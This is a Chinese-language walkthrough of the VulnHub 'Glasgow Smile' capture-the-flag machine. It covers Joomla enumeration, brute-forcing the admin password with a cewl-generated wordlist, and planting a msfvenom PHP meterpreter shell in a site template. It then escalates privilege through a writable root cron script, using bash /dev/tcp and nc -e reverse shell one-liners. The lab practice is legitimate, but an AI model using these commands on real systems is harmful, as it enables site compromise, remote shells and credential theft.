靶机下载地址http://www.vulnhub.com/entry/glasgow-smile-11,491/
Kail ip:192.168.70.129
靶机 ip:192.168.70.159
靶机ip发现
sudo arp-scan -l
靶机端口扫描
sudo nmap -sS -Pn -O 192.168.70.159
进行目录扫描
dirb http://192.168.70.159
都是以Joomla开头的,
使用joomscan继续扫描(joomscan可以在github上进行安装下载)
perl joomscan…pl -u url
扫描到如下信息
查看链接 http://192.168.70.159/joomla/administrator
发现后台登陆页面
尝试弱口令和sql注入不成功,查看大佬的wp发现需要使用密码生成工具,cewl
工具cewl的使用方法https://www.freebuf.com/articles/network/190128.html
命令:cewl http://192.168.70.159/joomla -m 5 -d 1 -w joomla.txt
-w是写入当前目录的文件中
-d表示爬取深度 默认是2
-m表示最小字符长度 生成字典后对joomla的登录页面进行爆破
使用burpsuit对后台登陆页面进行爆破
使用刚刚生成的字典进行爆破
账号就默认为joomla
爆破出的密码为Gotham
成功登录后台
进行网站的挂马,网站挂马是在网站配置的模板下,步骤如下:extensions—templates—templates,在默认的模板protostar下进行挂马,将木马写在一个新的文件中发现无法访问,这里使用的是在index目录下进行挂马,msf生成的木马加载到index文件源码中,如图所示,加载完成后,使用msf进行监听即可获取会话。
生成木马命令:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.70.129 -f raw >yyy.php
开启msfconsole设置监听
Ues exploit/multi/handle Set payload php/meterpreter/reverse_tcp
Show options
Set lhost 192.168.70.129
Run
再次访问网站,即可收到会话。
看很多师傅都是使用的这个反弹脚本,且不会对页面造成视觉上的影响,附上链接
https://pentestmonkey.net/tools/web-shells/php-reverse-shell
下载后,只需要修改ip和端口就可以使用
这里查看一下当前目录和权限,决定先使用扫描脚本,扫一下
什么都没有…
使用命令打开一个终端,便于观察
python3 -c “import pty;pty.spawn(‘/bin/bash’)”
切换到home目录下发现一共有三个用户
发现www目录下除了html还有一个joomla2的目录,进行查看
查看配置文件发现数据库的账号和密码
进行数据库连接
在batjoke数据库下的表中找到如下信息
Rob为此虚拟机的一个用户,将rob的密码进行base64解密
???AllIHaveAreNegativeThoughts???
使用rob的密码进行ssh登录,登录成功
查看当前的路径和存在的文件
像是加密内容,进行解密,第二个文档说努力点吧,我不给你提示。。。
这里使用凯撒加密
发现最后像base64
解出来:
I33hope99my0death000makes44more8cents00than0my0life0
尝试ssh的abner登录
登录成功
查看两个文件,没得到什么东西,看第一个文件切尔西的微笑,挺不错
再看其他目录,也没有什么其他的东西,现在查看一下三个账户剩下的最后一个账户penguin
查找一下有关penguin的信息
命令:
find / -iname penguin 2>/dev/null
iname证明不区分大小写
发现隐藏文件:
切换到该目录进行查看
发现该文件的属于abner用户,将该文件移动到abner用户的主目录下进行解压,否则没有权限。
cp /var/www/joomla2/administrator/manifests/files/.dear_penguins.zip ~
~表示$HOME即用户根目录
然后解压文件
查看解压出来的文件
尝试一下最后的密码是不是penguins的ssh密码
scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz
解压成功。
利用文件权限配置不当进行提权
当某个进程启动权限为ROOT,对应文件编辑权限为普通用户时,我们可以利用该问题点进行提权。
使用脚本pspy64地址:https://github.com/DominicBreuker/pspy/releases/tag/v1.2.0
发现隐藏文件.trash_ol一分钟执行一次
利用这个文件进行提权
使用nano将命令
bash -c 'bash -i >& /dev/tcp/192.168.70.129/4444 0>&1'
或者使用
nc -e /bin/bash 192.168.70.129 9999
使用bash的反弹界面比较美观,这两个都可以接收到会话
写入命令并将exit 0注释掉
使用nc进行监听,得到flag